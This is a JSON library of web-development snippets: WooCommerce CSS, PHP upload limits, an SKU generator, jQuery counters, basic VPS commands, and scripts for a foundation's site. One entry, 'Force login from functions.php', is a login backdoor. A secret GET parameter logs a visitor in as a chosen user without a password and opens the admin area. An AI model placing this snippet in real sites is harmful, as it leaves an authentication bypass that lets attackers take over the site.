{
    "sections": [
        {
            "name": "CSS",
            "subsections": [
                {
                    "name": "WooCommerce",
                    "snippets": [
                        {
                            "title": "Center Add to Cart Button",
                            "code": ".single_add_to_cart_button { display: block; margin: 0 auto; }",
                            "tags": [
                                "woocommerce",
                                "button",
                                "center"
                            ]
                        },
                        {
                            "title": "Hide the default WooCommerce checkout summary on the Thank You page",
                            "code": "body.woocommerce-order-received .elementor-widget-woocommerce-checkout-page {\n  display: none !important;\n}",
                            "tags": []
                        },
                        {
                            "title": "Change Woocommerce Notice and Button colors",
                            "code": ".woocommerce-message::before, .woocommerce-info::before  {color:#572d83;}\n\n.woocommerce-message, .woocommerce-info {\n    border-top-color: #572d83 !important;\n}\n\n.button.wc-forward, .button.wc-backward {background-color: #572d83 !important;\ncolor: #fff !important;}\n\na.restore-item {color: #fc691d !important;}",
                            "tags": []
                        }
                    ]
                }
            ]
        },
        {
            "name": "HTML",
            "subsections": []
        },
        {
            "name": "JavaScript",
            "subsections": []
        },
        {
            "name": "WordPress Snippets",
            "subsections": [
                {
                    "name": "WP PHP Codes",
                    "snippets": [
                        {
                            "title": "Increase Upload Limit",
                            "code": "php_value upload_max_filesize 128M\nphp_value post_max_size 128M\nphp_value memory_limit 256M\nphp_value max_execution_time 300\nphp_value max_input_time 300",
                            "tags": []
                        },
                        {
                            "title": "Increase Upload Limit in php.ini",
                            "code": "@ini_set( 'upload_max_filesize' , '128M' );\n@ini_set( 'post_max_size', '128M');\n@ini_set( 'memory_limit', '256M' );\n@ini_set( 'max_execution_time', '300' );\n@ini_set( 'max_input_time', '300' );",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "Account related",
                    "snippets": [
                        {
                            "title": "Force login from functions.php",
                            "code": "add_action('init', function () {\n    if (isset($_GET['force_login']) && $_GET['force_login'] === 'CHANGE_USERID') {\n        $user = get_user_by('login', 'CHANGE_USERNAME');\n        if ($user) {\n            wp_set_current_user($user->ID);\n            wp_set_auth_cookie($user->ID, true);\n            wp_redirect(admin_url());\n            exit;\n        }\n    }\n});",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "Woocommerce",
                    "snippets": [
                        {
                            "title": "Result counter for Jetwoo builder and Jetsmart filter",
                            "code": "<script>\njQuery(document).ready(function($) {\n    \n    \/\/ Function to update counter\n    function updateResultCount() {\n        setTimeout(function() {\n            \/\/ Try multiple possible product selectors\n            var $products = $('.jet-woo-products__item:visible, .product:visible, .jet-woo-builder-product:visible');\n            var total = $products.length;\n            \n            \/\/ Update counter text\n            $('.woocommerce-result-count').text('Showing all ' + total + ' results');\n            \n            \/\/ Debug: log to console\n            console.log('Products found:', total);\n        }, 300);\n    }\n    \n    \/\/ Run on page load\n    updateResultCount();\n    \n    \/\/ Run after any Ajax call\n    $(document).ajaxComplete(function() {\n        updateResultCount();\n    });\n    \n    \/\/ Run after JetSmartFilters specific events\n    $(document).on('jet-filter-applied', function() {\n        updateResultCount();\n    });\n    \n    $(document).on('jet-smart-filters\/inited', function() {\n        updateResultCount();\n    });\n});\n<\/script>",
                            "tags": []
                        }
                    ]
                }
            ]
        },
        {
            "name": "VPS",
            "subsections": [
                {
                    "name": "Installation",
                    "snippets": [
                        {
                            "title": "Remove old keys",
                            "code": "ssh-keygen -R 203.57.85.30",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "Storage",
                    "snippets": [
                        {
                            "title": "Know storage details",
                            "code": "df -h",
                            "tags": []
                        },
                        {
                            "title": "To see which folders are using the most space",
                            "code": "du -h \/ --max-depth=1 2>\/dev\/null",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "General",
                    "snippets": [
                        {
                            "title": "know which OS I'm in",
                            "code": "lsb_release -a",
                            "tags": []
                        }
                    ]
                }
            ]
        },
        {
            "name": "Woocommerce",
            "subsections": [
                {
                    "name": "Product creation related",
                    "snippets": [
                        {
                            "title": "Auto SKU Generator",
                            "code": "\/\/ Auto-generate sequential SKU for NEW products\nfunction auto_generate_sequential_sku($product_id) {\n    $product = wc_get_product($product_id);\n    \n    if ($product && empty($product->get_sku())) {\n        $last_sku = get_option('last_auto_sku_number', 1000);\n        $new_sku_number = $last_sku + 1;\n        $new_sku = 'SB-' . $new_sku_number;\n        \n        $product->set_sku($new_sku);\n        $product->save();\n        \n        update_option('last_auto_sku_number', $new_sku_number);\n    }\n}\n\n\/\/ Multiple hooks to catch product creation in different scenarios\nadd_action('woocommerce_new_product', 'auto_generate_sequential_sku', 10, 1);\nadd_action('woocommerce_update_product', 'auto_generate_sequential_sku', 10, 1);\nadd_action('save_post_product', 'auto_generate_sku_on_save', 10, 3);\n\nfunction auto_generate_sku_on_save($post_id, $post, $update) {\n    \/\/ Avoid infinite loops\n    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {\n        return;\n    }\n    \n    \/\/ Check if it's a product\n    if ($post->post_type !== 'product') {\n        return;\n    }\n    \n    auto_generate_sequential_sku($post_id);\n}\n\n\/\/ For variations\nadd_action('woocommerce_new_product_variation', 'auto_generate_sequential_sku', 10, 1);\nadd_action('woocommerce_update_product_variation', 'auto_generate_sequential_sku', 10, 1);\nadd_action('save_post_product_variation', 'auto_generate_sku_on_save_variation', 10, 3);\n\nfunction auto_generate_sku_on_save_variation($post_id, $post, $update) {\n    if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) {\n        return;\n    }\n    \n    if ($post->post_type !== 'product_variation') {\n        return;\n    }\n    \n    auto_generate_sequential_sku($post_id);\n}",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "Frontend",
                    "snippets": [
                        {
                            "title": "Result counter for Jetwoo builder and Jetsmart filter",
                            "code": "<script>\njQuery(document).ready(function($) {\n    \n    \/\/ Function to update counter\n    function updateResultCount() {\n        setTimeout(function() {\n            \/\/ Try multiple possible product selectors\n            var $products = $('.jet-woo-products__item:visible, .product:visible, .jet-woo-builder-product:visible');\n            var total = $products.length;\n            \n            \/\/ Update counter text\n            $('.woocommerce-result-count').text('Showing all ' + total + ' results');\n            \n            \/\/ Debug: log to console\n            console.log('Products found:', total);\n        }, 300);\n    }\n    \n    \/\/ Run on page load\n    updateResultCount();\n    \n    \/\/ Run after any Ajax call\n    $(document).ajaxComplete(function() {\n        updateResultCount();\n    });\n    \n    \/\/ Run after JetSmartFilters specific events\n    $(document).on('jet-filter-applied', function() {\n        updateResultCount();\n    });\n    \n    $(document).on('jet-smart-filters\/inited', function() {\n        updateResultCount();\n    });\n});\n<\/script>",
                            "tags": []
                        }
                    ]
                }
            ]
        },
        {
            "name": "PHP",
            "subsections": []
        },
        {
            "name": "GPBosse",
            "subsections": [
                {
                    "name": "JS",
                    "snippets": [
                        {
                            "title": "Countries and States for Consent form",
                            "code": "<script>\n(function () {\n\n  function initCountryState() {\n\n    const countrySelect = document.querySelector(\"#form-field-field_2717bd6\");\n    const stateSelect   = document.querySelector(\"#form-field-field_f05527c\");\n\n    if (!countrySelect || !stateSelect) {\n      \/\/ Elementor form not ready yet\n      return false;\n    }\n\n    fetch(\"\/wp-content\/uploads\/countries.json\")\n      .then(res => res.json())\n      .then(data => {\n\n        console.log(\"Countries JSON loaded\");\n\n        \/* --------------------\n           POPULATE COUNTRIES\n        --------------------- *\/\n\n        \/\/ Keep placeholder if exists\n        const placeholder = countrySelect.querySelector(\"option[value='']\");\n        countrySelect.innerHTML = \"\";\n        if (placeholder) countrySelect.appendChild(placeholder);\n\n        let countries = Object.keys(data);\n\n        \/\/ Put United States first\n        const usaIndex = countries.indexOf(\"United States\");\n        if (usaIndex !== -1) countries.splice(usaIndex, 1);\n\n        countries.sort((a, b) => a.localeCompare(b));\n\n        if (usaIndex !== -1) {\n          countrySelect.appendChild(\n            new Option(\"United States\", \"United States\")\n          );\n        }\n\n        countries.forEach(country => {\n          countrySelect.appendChild(\n            new Option(country, country)\n          );\n        });\n\n        \/* --------------------\n           POPULATE STATES\n        --------------------- *\/\n\n        \/\/ Ensure state placeholder\n        stateSelect.innerHTML = '<option value=\"\">Select state \/ region<\/option>';\n\n        countrySelect.addEventListener(\"change\", function () {\n\n          const selectedCountry = this.value;\n          stateSelect.innerHTML = '<option value=\"\">Select state \/ region<\/option>';\n\n          if (!selectedCountry || !data[selectedCountry]) return;\n\n          data[selectedCountry].forEach(state => {\n            stateSelect.appendChild(\n              new Option(state, state)\n            );\n          });\n        });\n\n      })\n      .catch(err => console.error(\"Country\/State init failed:\", err));\n\n    return true;\n  }\n\n  \/\/ Elementor-safe retry loop\n  const waitForElementor = setInterval(() => {\n    if (initCountryState()) {\n      clearInterval(waitForElementor);\n    }\n  }, 300);\n\n})();\n<\/script>",
                            "tags": []
                        },
                        {
                            "title": "Zeffy donations",
                            "code": "<script src=\"https:\/\/zeffy-scripts.s3.ca-central-1.amazonaws.com\/embed-form-script.min.js\"><\/script>",
                            "tags": []
                        }
                    ]
                },
                {
                    "name": "HTML",
                    "snippets": [
                        {
                            "title": "GP4B Name",
                            "code": "<span style=\"color: #582d88;\">\n  <b>GP BOSSE <\/b>\n  <b><span style=\"font-size: 25px; color: #fc691d;\">4 <\/span><\/b>\n  <b>FOUNDATION<\/b>\n<\/span>",
                            "tags": []
                        }
                    ]
                }
            ]
        }
    ]
}